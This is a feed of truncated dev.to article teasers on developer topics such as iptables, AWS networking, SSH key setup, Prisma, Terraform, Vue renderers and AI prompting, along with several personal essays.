    iptables serves as Linux's primary firewall tool, leveraging the Netfilter framework to filter, modify, and route network packets across filter, NAT, and mangle tables. It processes packets through five key chains: PREROUTING, INPUT, FORWARD, OUTPUT, and POSTROUTING, enabling precise control over traffic flow. Netfilter hooks into the kernel's networking stack, evaluating rules in chains before routing decisions. PREROUTING handles incoming packets immediately upon interface arrival for destination modifications, while POSTROUTING adjusts outgoing packets just before transmission, ideal for source NAT. Rules match packet attributes like IP, port, and protocol, jumping to targets such as ACCEPT, DROP, or DNAT/SNAT. Basic INPUT/OUTPUT rules secure local access: # Default drop policy iptables…  ( 7 min )
    Day -1: The Third Reset (Because Apparently I Need Multiple Attempts)
    Yeah, I know. This is my third time saying "Day 0." But today is Day -1. Tomorrow is the actual mark. Today is just recap. Before the mental breakdowns. Before the relationship mess. Before the friendship drama. Before I lost three months to trying to be normal. I was actually working on stuff: Frontend development - Building interfaces, making things that work and look decent UI/UX design - Learning how to make things not just functional but actually good to use Market thinking - Very little polish here, barely scratched the surface, but it's something Python - The language that actually makes sense Linear regression - Basic ML stuff, understanding how models learn Ridge regression - Going deeper into regularization and optimization Project MUTINY - My main thing, still in progress, gonna…  ( 7 min )
    CinemaSins: Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less
    Watch on YouTube  ( 6 min )
    Hand-Crafted Creative Counter-Culture against Toxic Digitization
    Let me assure you, I am no luddite. I use electricity, computers, the internet, and I develop websites as a professional web developer. I use AI when it makes sense, I use Google and StackOverflow, GitHub and digital notes online. However, many fellow developers, customers, and users seem to fall for a misunderstood promise of the current tech and AI hype, failing to understand marketing patterns, hype cycles and psychological bias. Constructive Criticism like 8 Alternatives to AI for Coding and Creativity, Google Alternatives and StackOverflow alternatives for web developers already show that it's no solution to fall back for yesterday's tool to avoid today's problems. 8 Alternatives to AI for Coding and Creativity Ingo Steinke, web developer ・ Jul 2 #webdev #programming #…  ( 8 min )
    Gateway Endpoints vs Interface Endpoints: What’s the Difference?
    AWS provides several ways to keep your workloads connected without exposing them to the public internet. One of the most useful tools for this is the VPC Endpoint, which enables private access from your VPC to AWS services over the AWS internal network. There are two main types: Gateway Endpoints and Interface Endpoints. Each endpoint type serves a different purpose, so choosing the right one matters for security, performance, and cost. A VPC Endpoint creates a private path so your resources can reach specific AWS services without requiring: Public IPs Internet Gateways NAT Gateways Direct internet routing Both endpoint types enable private connectivity, but they operate differently inside the VPC. Gateway Endpoints are the simpler option. They work by adding routes to your route tables so…  ( 8 min )
    The Most Underrated Developer Tool Isn't GitHub Copilot, It's The Sun
    We are obsessed with our tools. We debate VS Code vs. Cursor, we optimize our dotfiles, and we buy $300 mechanical keyboards to type 5% faster. But what if the biggest bottleneck to your code quality isn't your IDE, but your biology? I used to be that guy. In my years at several major internet companies, my "productivity stack" was simple: Caffeine, Dark Mode, and Noise-Canceling Headphones. I treated my body like a container for my brain—a container that was annoying because it needed sleep and food. I wore my "cave dweller" status like a badge of honor. But looking back, I wasn't optimizing for output; I was optimizing for burnout. Developer working in a dark room with code on screen There's a pervasive lie in the tech industry: Time at desk = Output. We believe that if we step away fro…  ( 7 min )
    How AI is Transforming Cloud Engineering: Practical Use Cases for 2025
    Introduction – Why AI and Cloud Matter in 2025 Have you ever wondered what happens behind the scenes when you upload a file, stream a video, or use an app that just works? By 2025, cloud technology is no longer just about storage or computation. It’s becoming intelligent, thanks to AI. From my experience helping organizations migrate workloads, optimize infrastructure, and deploy applications, one thing is clear: AI is no longer an optional add-on. It is becoming the backbone of modern cloud engineering. In this article, I’ll walk you through how AI is transforming cloud engineering, share real-world examples, and give practical tips you can implement today. Cloud adoption continues to grow, with more enterprises embedding AI into core operations. Some key reasons include: AI-enabled clo…  ( 8 min )
    Veeam Backup for Microsoft 365 Installation Guide
    Veeam Backup for Microsoft 365 is a comprehensive solution designed to protect your organization’s critical data stored within Microsoft 365 services, including Exchange Online, SharePoint Online, OneDrive for Business, and Microsoft Teams. By providing robust backup, restoration, and recovery capabilities, it ensures that your data is safe, accessible, and fully compliant with legal and regulatory requirements. Microsoft 365 provides powerful cloud productivity tools but operates on a shared responsibility model, meaning that while Microsoft safeguards its infrastructure, protecting your data remains your responsibility. Veeam fills this gap by offering a reliable, flexible, and user-friendly backup solution tailored to meet the demands of modern businesses. Key Features of Veeam Backup f…  ( 8 min )
    Stop Building Basic Bots: How I Built 4 "Production-Ready" AI Agents in n8n (Vision, Memory, & Reporting)
    We all love building workflows in n8n. But let’s be honest: there is a huge gap between a simple "Hello World" chatbot and a robust, production-ready AI Agent that can handle real-world complexity. I spent the last few weeks pushing n8n to its limits to solve four specific headaches I faced in automation: Memory, Dynamic Scraping, Content Analysis, and Reporting. Here is a breakdown of the 4 advanced agents I built, the tech stack I used, and how they solve problems standard workflows can't. The "Amnesia" Problem (Long-Term Memory Agent) The Problem: Most LLM chains in n8n forget the user's context as soon as the execution ends. The Solution: I built an agent that mimics human memory. How it works: Instead of relying solely on window memory, this workflow connects to Google Docs. The Logic…  ( 7 min )
    Modernizing Legacy Workloads: KubeVirt on AKS with Azure Arc Identity
    TL;DR: A production-grade blueprint for running Virtual Machines on Azure Kubernetes Service (AKS). This project demonstrates how to unify container and VM operations while solving the "Identity Gap" using Azure Arc—enabling true Azure AD SSH authentication with zero manual key management. View the Complete Project on GitHub Table of Contents The Problem: Operational Fragmentation What is KubeVirt? Architecture Overview The Identity Challenge: No IMDS Multi-Tenancy & Security Implementation Deep Dive Deployment Guide Technologies & Skills Demonstrated Here's a truth nobody talks about at cloud conferences: most enterprises aren't running everything in containers. They're not even close. While we celebrate microservices and Kubernetes, the reality on the ground looks differ…  ( 12 min )
    🎮 Build Your Next Game Faster: Mastering Phaser, Three.js, and Babylon.js
    Last weekend, I stumbled upon a browser-based game that completely blew me away. In just a few clicks, I was immersed in a fully interactive 3D world. No downloads. No installs. Just pure, instant fun. That’s when it hit me—modern game development frameworks like Phaser, Three.js, and Babylon.js are changing the game (literally) for developers, hobbyists, and indie creators. These tools make it possible to bring games to life faster, smoother, and across multiple platforms—all from your browser. If you’ve ever dreamed of building a game but felt intimidated by complex engines or massive codebases, this is your sign to start now. 🌟 Why Game Development Frameworks Are a Game-Changer Traditionally, creating games required heavy engines, steep learning curves, and time-consuming setups. Brows…  ( 8 min )
    Reflections on the Djangonaut Space Journey 🦄
    The 8-week Djangonaut period has come to an end. When I first started, I was worried about whether I could do well due to my poor English skills, but the warm community and my teammates helped me successfully complete the program. Djangonaut not only reduced my fear and unfamiliarity with Django open source contribution but also provided even greater value and inspiration. Initially, when I decided to contribute to Django, the process felt unfamiliar and daunting because, unlike other projects, Django's issue tickets are managed on a separate page. Before Djangonaut, I had actually tried to contribute to a promising issue, but I quickly gave up because the discussion was too deep and complex. However, during the Djangonaut program, my mentor recommended suitable tickets, making it much eas…  ( 8 min )
    🎨 VisionVerse: From Image to AI-Generated Poetry in Minutes
    This post is my submission for DEV Education Track: Build Apps with Google AI Studio. ✨** ** 1. Main Google AI Studio Prompt: text Create a web application called 'VisionVerse' with the tagline 'Where Images Whisper Poems'... Custom Instructions for Consistency: text [# VisionVerse App Custom Instructions Always use TypeScript with React functional components Use modern React hooks (useState, useEffect, useContext when appropriate) Implement proper TypeScript interfaces for all props and state Follow Google's Material Design principles with poetic adaptations Use responsive design (mobile-first approach) Use a color palette: primary (#E6E6FA - lavender), secondary (#FFFDD0 - cream), accent (#9C89B8 - muted purple) Implement CSS modules for component styling Use Google Fonts: "Playfair Disp…  ( 11 min )
    Want a CV that actually gets noticed?
    Meet Taurus AI — The JD-Specific, AI-Powered CV Builder for Developers Generic resumes often fail to grab attention, especially when applying for software engineering, full-stack development, DevOps, data science, AI/ML, cloud engineering, cybersecurity, and other tech roles. A custom, job-description-optimized CV dramatically boosts visibility with recruiters, hiring managers, and ATS systems. Taurus AI creates a fully personalized, AI-optimized, JD-matched, keyword-rich CV tailored to the exact role you’re applying for. Whether you’re targeting backend development, frontend engineering, mobile development, data engineering, product roles, or tech startups, the tool aligns your skills with the job description automatically. 🔹 AI-optimized CV for developers If your resume keeps getting ignored or filtered out by ATS scanners, this tool can make a major difference. 👉 Try Taurus AI here: https://portal.thetaurus.ai/sign-up  ( 6 min )
    Clients care about the stack you use.
    It is a common saying that "clients don't care about the stack you use for them" but I disagree. I think most devs don't know how to tell their clients to realise they care. You have a clear advantage if your clients are technical and you're able to communicate the benefits they will gain as a result of you skills in the stack and the general advantage of the stack in as much as you understand your clients. Being able to communicate your stack to your clients with the language they understand gives you advantages over someone who doesn't tell their clients the stack they use because they think clients don't care. For example, you can tell your client you're going to use React.js, GCP or AWS by saying: "We will build your app with the same technologies that power great companies like Google and Facebook so that you can sleep well at night." Saying this makes them realise you're trying to make sure they have stable apps like Google and Facebook. Wait! I strongly believe it is unethical to make this kind of claim when you're not skillful, willing and able to deliver. Above all, the point I am trying to make is that clients care about the stack you use for them if you know how to tell them. What do you think? If you agree, please give more insights on how to gain more advantages by telling you clients the stack you use but if you disagree, feel free to raise your case. Cheers!  ( 7 min )
    MCP servers I use in my daily life
    Today, I want to share a brief list of MCP servers that I use daily in my work and projects. What It Does GitHub MCP Server enables you to work with GitHub through an AI assistant: view code, search for files, read and summarize documentation in repositories, manage issues and pull requests, and get an overall view of projects. How I Use It I read and create documentation in repositories. I add to or create new technical documentation. I analyze pull requests (what has changed, what risks are involved, what needs to be amended) with the help of rules that impose code style restrictions. I create pull requests. I look at issues that are relevant to me to understand what to prioritize. This significantly reduces the number of switches between the IDE and the browser, especially when you nee…  ( 8 min )
    Integrating Health Connect in Android + React Native Apps
    Health Connect is Google’s unified API for managing health and fitness data on Android. In this guide, we’ll walk through integrating Health Connect inside your Android + React Native app. One central location for all health data. Compatible with major apps and devices. User-controlled permissions to ensure privacy. Secure storage protected by device lock. Note: Health Connect is available only on Android. iOS uses HealthKit, which is not related. A React Native project set up (0.71+ is recommended). Android Studio installed. A device or emulator running Android 13 or higher (the Health Connect app is needed on Android 13). Screen lock enabled on the device. 1. Installing Health Connect For Android 13 (API 33) and lower: Download the Health Connect app from the Play Store. For Android 14 a…  ( 8 min )
    Illuminating Bioprocesses: Dynamic Control with Light
    Illuminating Bioprocesses: Dynamic Control with Light Imagine trying to steer a race car with only two settings: full throttle or brakes slammed. No finesse, no subtle adjustments. That's often how we've been controlling biological processes, leading to suboptimal results. But what if we could finally modulate cellular behavior with the precision of a dimmer switch? The core concept is dynamic light modulation for controlling genetically engineered cells. Instead of just blasting cells with continuous light, we precisely cycle the light source on and off, thereby adjusting cell responses with much greater resolution. Think of it like dithering in digital photography – creating shades of gray from black and white dots. This allows us to fine-tune protein production and metabolic pathways …  ( 7 min )
    Building Death Dealer: How AI-Assisted Development Transformed My Halloween Horror App
    For the Kiroween Halloween hackathon, I set out to build something ambitious: an immersive, narrative-driven horror web experience where users "make a deal with the devil." The catch? I wanted it polished, production-ready, and atmospheric—not just a themed website, but a complete journey into the underworld. The vision: A four-screen experience with custom animations, horror music, video transitions, and a cohesive dark aesthetic. The timeline: Days, not weeks. 🤖 Enter Kiro AI The Development Flow Foundation (30 minutes) Me: "Set up Vite + React + TypeScript with Tailwind CSS. Kiro: Generates complete project structure, configs, and theme Component Building (Iterative) Me: "Create a landing page with graveyard background, Kiro: Builds LandingPage component with Framer Motion animations Me: "Now add a 5-step form where the devil interrogates the user." Kiro: Creates DealFlow with validation, transitions, and Enter key support The Magic Moment The most impressive generation was the HellGateTransition component. I described wanting "stone doors that slide open with hell light behind them." Kiro generated: Two animated doors with realistic textures 💡 Key Learnings Iterative Refinement Build → Test → Refine → Repeat. Each conversation built on the previous work. Trust the AI for Implementation I focused on what I wanted, Kiro handled how to build it. The Results 🎯 The Technical Stack Custom skull cursors (💀 → ☠️) 🎓 Lessons for AI-Assisted Development Be the Architect Iterate Quickly Learn from the Output Focus on What Matters 🔮 The Future Crafting the perfect horror atmosphere 💭 Final Thoughts The question isn't "Can AI replace developers?" It's "How can developers leverage AI to build better experiences faster?" For me, the answer is clear: Partner with AI, focus on creativity, and ship amazing products.  ( 8 min )
    A breakdown of why MERN is the best starting point for new developers.
    In university, we learned Java and C++. When I started looking at web development, the number of choices was overwhelming. Django? Laravel? Spring Boot? Ruby on Rails? Eventually, I settled on the MERN Stack (MongoDB, Express, React, Node.js). Here is why I think it’s the best choice for new developers in 2024. 1. One Language to Rule Them All 2. JSON is Native 3. The React Ecosystem Conclusion Is MERN perfect? No. SQL is often better for complex data relationships. But for building a portfolio and getting hired fast? It’s hard to beat.  ( 6 min )
    How to Break Free from Restricted Mailbox Limitations
    In today’s world, we are constantly connected to each other through various means of communication. One of the most popular methods of communication is through email, which allows us to send and receive messages at lightning-fast speeds. However, in the vast ocean of emails, there exists a lesser-known world that many people may not be aware of – the world of restricted email inboxes. In this tutorial, we’ll show you how to access restricted mailboxes and unblock restricted entities. Open the Microsoft 365 Defender portal. At the left menu, and below “Email & collaboration“, click on “Review“, and finally click on “Restricted entities“. Find and pick users you wish to unblock on the Restricted Entities page by clicking on them, then from the above ribbon click on “Unblock“. Follow the guide and unblock the user. In conclusion, restricted email inboxes may not be widely known, but they play an important role in maintaining secure and organized communication in various settings. They offer a level of protection for sensitive information and ensure that only authorized individuals have access to it. However, they also come with their own challenges, which users need to be aware of. As we continue to navigate the world of digital communication, it is important to understand and appreciate the various methods used to safeguard our information.  ( 6 min )
    Data Lineage in Enterprise AI and ML: Boosting Governance
    Explore how data lineage transforms enterprise AI and machine learning models by ensuring data quality, compliance, and security through Role-Based Access Control (RBAC) integration. Discover best practices for tracking data flows to enhance model reliability and decision-making. In the fast-evolving landscape of enterprise technology, data lineage emerges as a cornerstone for building robust artificial intelligence and machine learning systems. This concept maps the journey of data from its origins through various transformations to its final applications, providing transparency that fuels innovation. Enterprises increasingly rely on such visibility to mitigate risks associated with complex data pipelines, where inaccuracies can lead to flawed insights and costly errors. Consider the i…  ( 9 min )
    AI Regulation News Today: Key Updates to Know
    In AI regulation news today, governments worldwide are rapidly developing new rules to govern artificial intelligence. Global legislative activity surged in 2024–2025, with AI-related bills and proposals increasing by over 21% across 75 countries. At least 69 nations are pursuing more than 1,000 AI policy initiatives as of early 2025, reflecting diverse approaches. For example, the European Union’s risk-based AI Act sets strict standards for high-risk systems (e.g. requiring risk assessments and human oversight), while China’s 2023 AI rules mandate content labeling and limit prohibited outputs. In contrast, the U.S. currently relies on executive orders and sectoral guidelines rather than a single AI law. Internationally, bodies like the OECD and Council of Europe have introduced common AI …  ( 13 min )
    База Данных 4 Практика
    Setup sqlite3 Задача Скачайте базу данных packages.db Откройте Powershell приложение Выполните команду cd Загрузки Откройте базу данных используя sqlite3 sqlite3 packages.db # Откройте базу данных используя sqlite3 sqlite3 packages.db SQLite version 3.51.0 2025-06-12 13:14:41 Enter ".help" for usage hints. sqlite> # .tables показывает все таблицы которые у нас имеются в базе данных sqlite> .tables addresses drivers packages scans sqlite> select * ...> from addresses ...> limit 5; id address type ----- ------------------------------ --------------- 1 7660 Sharon Street Residential 2 60 Drake Place Residential 3 88 City Point Court Residential 4 266 Dorchester Avenue Res…  ( 9 min )
    Análisis Exhaustivo: Despliegue de Servidores MCP en Google Cloud Run
    description: Problemas técnicos reales al desplegar servidores MCP en Cloud Run Revisé un tutorial sobre desplegar servidores MCP (Model Context Protocol) en Google Cloud Run. Encontré varios problemas técnicos críticos que impiden su funcionamiento real. Error Fatal: El tutorial usa StdioServerTransport en Cloud Run. Por qué falla: Cloud Run requiere HTTP/HTTPS StdioServerTransport usa stdin/stdout Resultado: servidor no funcional ✅ Solución: import { SSEServerTransport } from "@modelcontextprotocol/sdk/server/sse.js"; import express from "express"; const app = express(); const PORT = process.env.PORT || 8080; const server = new Server({ name: "weather-mcp-server", version: "1.0.0" }); app.get("/sse", async (req, res) => { const transport = new SSEServerTransport("/messages", re…  ( 8 min )
    🔰 NeoBASIC Language: Transpiler to C++ (and others)
    NeoBASIC is a programming language I'm creating, still in the design phase, aiming to provide a better development experience while transpiling code into a compiled (and general-purpose) language. It's somewhat of an elastic language, combining the best of both worlds: Python (prototyping speed) and C++ (execution speed). The mention of BASIC is due to its faster learning curve, an effort I've been making to ensure the language can be used by computer science beginners. In the 70s and 80s, computer magazines contained BASIC programs for enthusiasts to type into their personal computers and calculators. These were short programs, often scripts or small routines. Some contained dozens of lines and required more time and care in typing. But this was never a problem for those who enjoyed progr…  ( 10 min )
    10 AI Coding Habits That Instantly Made Me a Faster Developer (Real Examples)
    AI didn’t replace how I code — it reshaped the habits around it. After months of using Copilot, ChatGPT, Cursor, and Windsurf daily, I realized the biggest gains weren’t from AI generating entire functions, but from the small workflow improvements I started forming along the way. These are the 10 AI habits that genuinely made me a faster and clearer developer — with real examples. 1. Starting Every Task by Asking AI to Break It Down Whenever I start a feature, I ask AI: “Break this into clear, actionable steps.” This one habit alone reduces confusion and prevents hallucinations. I even wrote about a similar trick in my article on a one-line hallucination fix for AI bots — and it still works. A clean plan turns even a vague feature request into something I can execute confidently. 2. Ask…  ( 8 min )
    From Digital Pioneer to Digital Tenant?
    Why Law Firms in Industrial Property Protection Must Once Again Become the Vanguard of AI Sovereignty Guest article by Oliver Otto The legal profession has never been hostile to technology. In fact, it has long been one of the most economically rational and tech-forward fields. While other industries were still debating digitization, law firms had already integrated digital tools into daily operations. Word processing replaced typewriters for efficiency. Dictation became digital to save time. Speech recognition multiplied productivity. And in industrial property protection—especially in patent and trademark practices—automated deadline management, software-supported workflows, and database-driven IP administration were standard long before the term legal tech even existed. Earlier waves …  ( 8 min )
    = I Was Erased by the System, So I Built MMUKO OS -The World’s First Neurodivergent, Ontology-First Operating System
    I Was Erased by the System, So I Built MMUKO OS The World’s First Neurodivergent, Ontology-First Operating System. Nnamdi Michael Okpala – OBINexus 1 December 2025 I’m not supposed to be alive. Between 2019 and 2025 the British state ghosted me so thoroughly that I became a living glitch: Housing files “lost” six times Priority-need letters ignored for 1,461 straight days Doctors who wrote “severely autistic, at risk of homelessness” and then never answered again A benefits system that demanded I prove I was dying while refusing to give me money to eat They didn’t just fail me. They erased me on purpose. So I did the only thing an autistic Igbo boy with 14 senses and nowhere to sleep can do: I stopped begging their 7-dimensional world to see me and started coding a new one that ca…  ( 8 min )
    Building the Future of Healthcare: How AI, IoMT & Intelligent Apps Are Redefining Medical Systems
    This shift isn’t being led by traditional enterprise vendors. At CitrusBits [https://citrusbits.com/], we work on healthcare engineering challenges daily. In this post, we’ll break down how developers are building the technical foundation of modern MedTech. AI adoption in healthcare is no longer experimental. ✔ Medical Imaging & Diagnostics CNNs + transformer-based models identifying anomalies in MRI, X-Ray, CT, and ultrasound datasets. ✔ Predictive Analytics ML models forecasting: patient deterioration sepsis risk hospital readmission appointment no-shows clinical resource allocation ✔ NLP for Clinical Data LLMs + medical-specific NLP models used for: automated clinical note summarization coding automation (ICD-10/CPT) medical transcription entity extraction from patient documen…  ( 8 min )
    Convert RTF Documents to Images in C#
    RTF (Rich Text Format), as a cross-platform compatible rich text format, is widely used in document exchange and content storage scenarios. However, for practical requirements such as document preview, plugin-free display, and content archiving, converting RTF to image formats like PNG and JPG is a more optimal solution. This article focuses on C# development scenarios, starting from technical principles, and details the implementation logic, key steps, and optimization directions of RTF-to-image conversion to provide reference for development practice. The essence of RTF-to-image conversion is converting structured rich text data into pixel-level image data through a rendering engine. Its core process can be broken down into three key links, and the technical logic revolves around this ma…  ( 9 min )
    Strengthening Linux Security: A Step-by-Step Guide to SSH Public Key Authentication
    Enhanced Security for Remote Access. In the world of Linux system administration and cybersecurity, how you access your server is just as important as what you do on it. Secure Shell (SSH) is the industry standard for remote administration, but relying solely on user passwords can leave systems vulnerable to brute-force attacks. A Linux machine (I am using Kali Linux in this demonstration). and start the SSH daemon(sshd) sudo service ssh start sudo service ssh status We will use ssh-keygen to create our cryptographic keys. In my implementation, I am using the ED25519 algorithm, which is currently considered more secure and faster than the older RSA standard. Press ENTER to accept the default location (/home/username/.ssh/id_ed25519). You will be asked for a passphrase(you can decide to enter kali). Crucial Security Step: While you can leave this empty, it is highly recommended to enter a strong passphrase. Inspecting the Keys Navigate to the hidden SSH directory to verify your keys were created: Navigate to the directory and ls to see the files created. For the server to recognize you, your public key must be added to the server's authorized_keys file. Since I am simulating this locally, I will copy the key to my localhost. ssh-copy-id -i ~/.ssh/id_ed25519.pub your-current-user@127.0.0.1 Success Output: Number of key(s) added: 1 To ensure the key was copied correctly, you can cat the authorized_keys file: using cat authorized_keys Now, log out or open a new terminal and attempt to SSH into the machine again: using ssh localhost At this point, enter the ""passphrase"" you entered above. By disabling password logins and relying on SSH keys, you significantly reduce the attack surface of your Linux servers. This exercise is a fundamental skill for any aspiring SysAdmin or Cybersecurity professional.  ( 7 min )
    The Art & Science of AI Prompting: How to Talk to Machines and Get What You Want
    AI prompting has grown from a neat experiment into a skill that genuinely helps us work better. As AI becomes more capable, knowing how to communicate with it clearly isn’t just for engineers anymore — it’s useful for anyone who creates, analyzes, or builds things. This article is a practical, example-first guide to prompting, with simple visuals and real scenarios you can apply right away. A lot of the ideas here were inspired by Chip Huyen’s book AI Engineering, which approaches AI with a balance of clarity and practicality. Her perspective helped shape the way I think about prompting as a communication skill, not just a technical trick. Prompting is more than "asking AI a question." It is: How you frame a task How you guide the model's behavior How you structure information How you set …  ( 9 min )
    The Art & Science of AI Prompting: How to Talk to Machines and Get What You Want
    AI prompting has evolved from a curiosity into a professional superpower. As AI systems become more capable, the ability to communicate with them clearly and strategically has become essential - not just for engineers, but for creators, analysts, managers, and entrepreneurs. Below is a practical, example-driven guide to prompting, enriched with visuals and real-world use cases. Prompting is more than "asking AI a question." It is: How you frame a task How you guide the model's behavior How you structure information How you set expectations Good prompts turn AI from a tool into a collaborator. Before asking the AI to do anything, define how it should behave. Example: You are a concise, domain-expert financial analyst who always responds with structured bullet points and avoids speculation.…  ( 8 min )
    I trained a Robot Arm: What I failed to learn.
    First, there is so much to learn. Understanding ML foundational concepts and having AI-accelerated workflows doesn't mean you can just jump in without going through the hard curve of learning. I learned that the expensive way. Reinforcement Learning (RL) is distinct from other ML fields. Even though they share boundaries, there are concepts that even hardcore ML engineers won't just grasp immediately. My first mistake was trying to skip steps. I was ambitious, that was glaring. I wanted results ASAP (my self-destructive habit of posing to the world). I was way too focused on seeing it work without employing my intuition to the hard details. After completing my first RL project with AI's help, I could feel it in my gut: I had learned nothing, or maybe just too minimal to fit my acclaimed ac…  ( 8 min )
    Prisma 7: They Ditched Rust and Everything Got Faster
    Prisma 7 just launched, and this isn’t your typical point release. We’re talking a complete rewrite from Rust to TypeScript, 90% smaller bundles, 3× faster queries, and a type system that actually checks faster than the competition. Let me break down what matters and what you need to change. Please support my original piece of work that is published here: Prisma 7: They Ditched Rust and Everything Got Faster The Big Move From Prisma 7 Prisma did something that sounds backwards, they migrated their entire client runtime from Rust to TypeScript. Yeah, you read that right. Rust is supposed to be the fast language, so why move away? Turns out, the JavaScript-to-Rust communication layer was the bottleneck. Not the Rust code itself. The results speak for themselves: 90% smaller bundle output 3…  ( 20 min )
    Great Article for Allure Report Alternative
    Better Alternative to Allure Report for Test Reporting Pratik Patel ・ Dec 1 #playwright #analytics #testing #ai  ( 6 min )
    [Boost]
    Better Alternative to Allure Report for Test Reporting Pratik Patel ・ Dec 1 #playwright #analytics #testing #ai  ( 6 min )
    Using Vue’s Custom Renderer API to Build Interfaces Beyond the DOM
    Most Vue developers work exclusively with the traditional browser DOM renderer—but Vue 3’s flexible architecture opens the door to much more. Thanks to the Vue Custom Renderer API, you can build interfaces that run far beyond the DOM, including WebGL scenes, Canvas UIs, terminal apps, game engines, or even native UI trees. This makes Vue not just a "web framework," but a universal reactive engine capable of driving any rendering target. In this article, we’ll explore: • What the Vue Custom Renderer API is and why it matters createRenderer() TresJS uses a custom renderer to bridge Vue and Three.js Enjoy! The Vue Custom Renderer API allows developers to replace Vue’s default DOM renderer with their own rendering logic. Normally, Vue manipulates the DOM by: • creating HTML elements However, V…  ( 11 min )
    Terraform Type Constraints
    Today marks the Day 7 of 30 Days Terraform challenge and today we will deep dive into the Terraform Type Constraints and how we have multiple type constraints in Terraform based on the value. Terraform divides the variables based on the values they hold. They are divided into 3 types such as Primitive, Complex, Any type. Primitive types are the simplest and most commonly used variable types in Terraform. Primitive types are powerful because they enforce strict validation and avoid unexpected results especially when performing comparisons or arithmetic operations.There are exactly three of them: Strings, Numbers and Bool. A string is simply text. Anything inside quotes i.e. "hello", "production", "ap-south-1" is considered a string. It’s one of the most frequently used types in Terraform b…  ( 10 min )
    Stop wrapping your RabbitMQ code in runBlocking
    You're using Kotlin. You love coroutines. Your entire codebase is suspend functions, Flow, and structured concurrency. Then you need to consume messages from RabbitMQ. And suddenly, you're writing this: runBlocking { processMessage(message) } Congratulations. You just mass-deployed an anti-pattern. The official RabbitMQ Java client was designed in 2007. Kotlin coroutines were released in 2018. These two worlds don't mix well. Here's what consuming messages looks like with the Java client: val factory = ConnectionFactory().apply { host = "localhost" username = "guest" password = "guest" } val connection = factory.newConnection() val channel = connection.createChannel() channel.basicConsume("orders", false, object : DefaultConsumer(channel) { override fun handleDeliver…  ( 9 min )
    Hashicorp Vault: An Inquiry into the Nature of Tokens
    Hashicorp Vault is a secrets management tool. It provides secure storage for access credentials, certificates, or general encryption/decryption processes. To get access to any secrets, tokens are issued, providing compact, fine-grained and time-based access controls. Tokens are fundamental to Hashicorp Vault. Operationally, it is a default authentication engine that can not be moved or recreated. Technically, tokens link static secret data or dynamic secrets data at an external application for a specific time. And conceptually, tokens can be short-lived in memory, renewable and persisted on disk, and even form parent-child relationship. This article explores and explains all aspects of tokens in Hashicorp Vault. It starts with an overview about the authentication method and data structure …  ( 11 min )
    Your Full-Stack Roadmap is a Trap. Here's The AI-First Path.
    Your Full-Stack Roadmap is a Trap. Here's The AI-First Path. Stop learning another JavaScript framework. The roadmap you're following—Frontend, Backend, Database—is a relic. It’s training you to become a highly efficient, easily replaceable cog in a machine that’s about to be dismantled by AI. The game has changed, but most developers are still playing by the old rules. The Illusion of Progress The traditional full-stack path rewards memorization of syntax and frameworks. React, Vue, Node, Django. You grind tutorials and build clones, believing you're accumulating value. You are, but it's depreciating value. You're becoming a master of implementation details. These details are precisely what Large Language Models (LLMs) excel at. Writing a React component, a SQL query, or a REST API endpoi…  ( 8 min )
    Security Groups vs NACLs: A Simple Breakdown
    AWS networking includes multiple layers of traffic control, and two of the most important components are Security Groups (SGs) and Network ACLs (NACLs). They’re often compared because both filter traffic, but they operate at different layers and behave differently. Understanding how each one works helps you build clean and predictable VPC architectures. In this article, we’ll look at how they differ and how they work together inside a VPC. Security Groups act as virtual firewalls for individual resources, such as EC2 instances, load balancers, and RDS databases. They operate at the instance level, meaning the rules apply directly to the resource they’re attached to. A few key characteristics define how they behave: Stateful rules: If inbound traffic is allowed, the response is automaticall…  ( 8 min )
    MEETINGS
    Topic: Beyond Keyword Search: Vector Databases & OpenSearch for Modern AI Applications Description: Traditional keyword-based search is no longer enough for AI-driven applications. In this session, we explore how vector databases and OpenSearch deliver semantic, intelligent search at scale. You’ll learn how embeddings work, how similarity search is implemented, Duration: 30 Mins I attended this meeting. i'm not IT graduate. I did not understand much. but, the session is good. They talked about keyword based search, AI driven application  ( 6 min )
    Big data technology that is orders of magnitude faster than SQL
    SQL often runs very slowly SQL is still the most commonly used big data computing language, but a fact is that SQL often runs very slowly, seriously wasting hardware resources. The data preparation part of a bank’s anti-money laundering computation: it takes the 11-node Vertical cluster 1.5 hours to process the 3.6 billion rows of data. An e-commerce funnel analysis involving 300 million rows: it takes SnowFlake’s Medium 4-node cluster more than 3 minutes to be unable to get a result. A spatiotemporal collision task involving 25 billion rows: it takes a 5-node ClickHouse cluster 1,800 seconds to complete. The data volume in each of these cases is not very large, ranging from a few gigabytes to several hundred gigabytes. However, the performance of SQL is not satisfactory. Are these tasks…  ( 15 min )
    Live Product Demonstrations and How They Will Look in 2026
    Before we explore the new methods, it is important to know why product demonstrations are becoming more common. People have learned to look beyond edited images. They want real information that helps them make confident decisions. A real-time demonstration gives them the complete picture without confusion. Shoppers want to see real movement, real color, and real behavior of a product. They want to see how clothing fits, how gadgets perform, and how home items look in different lighting. A live session makes this possible in a simple and natural way. Buyers trust products more when they watch a clear demonstration. A host can walk viewers through everything step by step so they understand how the item works. Real-time honesty creates strong confidence and reduces product returns. Good prepa…  ( 11 min )
    Meet MaterialM Open Source Django Admin Template That Will Transform Your Dashboards
    Battling outdated admin design or coding simple dashboards. Introducing MaterialM Django Admin Template is your shortcut to launching professional web applications, giving you a beautiful, modern interface and a rock-solid backend foundation in minutes. The MaterialM Django Admin Template is a clean, up-to-date, and completely customizable dashboard that helps developers build great web apps fast. It's built using Django, Bootstrap 5, and a bit of jQuery. This template is perfect for building apps like customer tracking systems (CRM), data reports (analytics dashboards), website management tools (CMS panels), and online service platforms (SaaS). It gives you a beautiful design and a strong, safe foundation for the back end of your app. Because it uses Django's reliable structure and the f…  ( 9 min )
    Enhancing Markdown Image Handling in Astro
    Introduction After writing new content, committing the markdown, and pushing to GitHub, my Astro build pipeline runs. Since my site is built with Astro, I have a custom integration I've written which runs at the end of the build process and cross-posts the markdown content of my articles to DEV and Hashnode. This workflow works, but the biggest friction point is images — specifically, how Astro handles them inside Markdown. Since I am cross-posting the raw markdown to other platforms, the markdown content includes image URLs relative to my project file system. When building the site, Astro automatically converts these relative URLs to canonical URLs with the site domain as the base. Here's an example of what these image URLs in the markdown look like: ![Some cool image](./image.png) Ho…  ( 9 min )
    Handling Lingering Conversations Gracefully in Microsoft Copilot Studio
